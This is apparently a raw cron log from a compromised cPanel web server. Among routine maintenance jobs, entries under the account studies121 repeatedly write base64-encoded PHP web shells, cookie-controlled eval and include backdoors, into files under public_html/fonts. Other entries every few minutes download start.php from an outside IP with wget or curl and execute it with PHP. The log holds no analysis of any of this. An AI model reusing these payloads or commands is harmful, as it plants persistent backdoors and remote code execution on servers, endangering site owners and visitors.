Sep  4 15:25:01 ip-184-168-122-23 CROND[13847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:25:01 ip-184-168-122-23 CROND[13845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:25:01 ip-184-168-122-23 CROND[13846]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:25:01 ip-184-168-122-23 CROND[13849]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:26:01 ip-184-168-122-23 CROND[13955]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:26:01 ip-184-168-122-23 CROND[13957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:26:01 ip-184-168-122-23 CROND[13958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:26:01 ip-184-168-122-23 CROND[13959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:26:01 ip-184-168-122-23 CROND[13960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:27:02 ip-184-168-122-23 CROND[14065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:27:02 ip-184-168-122-23 CROND[14066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:27:02 ip-184-168-122-23 CROND[14064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:27:02 ip-184-168-122-23 CROND[14067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:28:01 ip-184-168-122-23 CROND[14241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:28:01 ip-184-168-122-23 CROND[14243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:28:01 ip-184-168-122-23 CROND[14247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:28:01 ip-184-168-122-23 CROND[14244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:28:01 ip-184-168-122-23 CROND[14245]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:29:01 ip-184-168-122-23 CROND[14337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:29:01 ip-184-168-122-23 CROND[14340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:29:01 ip-184-168-122-23 CROND[14339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:29:01 ip-184-168-122-23 CROND[14341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:30:01 ip-184-168-122-23 CROND[14427]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 15:30:01 ip-184-168-122-23 CROND[14430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:30:01 ip-184-168-122-23 CROND[14431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:30:01 ip-184-168-122-23 CROND[14432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:30:01 ip-184-168-122-23 CROND[14435]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:30:01 ip-184-168-122-23 CROND[14438]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:30:01 ip-184-168-122-23 CROND[14439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:30:01 ip-184-168-122-23 CROND[14443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:31:01 ip-184-168-122-23 CROND[14537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:31:01 ip-184-168-122-23 CROND[14539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:31:01 ip-184-168-122-23 CROND[14538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:31:01 ip-184-168-122-23 CROND[14541]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 15:31:01 ip-184-168-122-23 CROND[14540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:32:01 ip-184-168-122-23 CROND[14634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:32:01 ip-184-168-122-23 CROND[14636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:32:01 ip-184-168-122-23 CROND[14637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:32:01 ip-184-168-122-23 CROND[14635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:32:01 ip-184-168-122-23 CROND[14638]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:33:01 ip-184-168-122-23 CROND[14803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:33:01 ip-184-168-122-23 CROND[14804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:33:01 ip-184-168-122-23 CROND[14805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:33:01 ip-184-168-122-23 CROND[14806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:34:01 ip-184-168-122-23 CROND[14889]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:34:01 ip-184-168-122-23 CROND[14890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:34:01 ip-184-168-122-23 CROND[14892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:34:01 ip-184-168-122-23 CROND[14896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:34:01 ip-184-168-122-23 CROND[14895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:35:01 ip-184-168-122-23 CROND[14986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:35:01 ip-184-168-122-23 CROND[14989]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:35:01 ip-184-168-122-23 CROND[14991]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 15:35:01 ip-184-168-122-23 CROND[14994]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:35:01 ip-184-168-122-23 CROND[14995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:35:01 ip-184-168-122-23 CROND[14988]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 15:35:01 ip-184-168-122-23 CROND[14990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:35:01 ip-184-168-122-23 CROND[14993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:36:01 ip-184-168-122-23 CROND[15085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:36:01 ip-184-168-122-23 CROND[15088]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:36:01 ip-184-168-122-23 CROND[15086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:36:01 ip-184-168-122-23 CROND[15089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:36:01 ip-184-168-122-23 CROND[15087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:37:02 ip-184-168-122-23 CROND[15187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:37:02 ip-184-168-122-23 CROND[15188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:37:02 ip-184-168-122-23 CROND[15190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
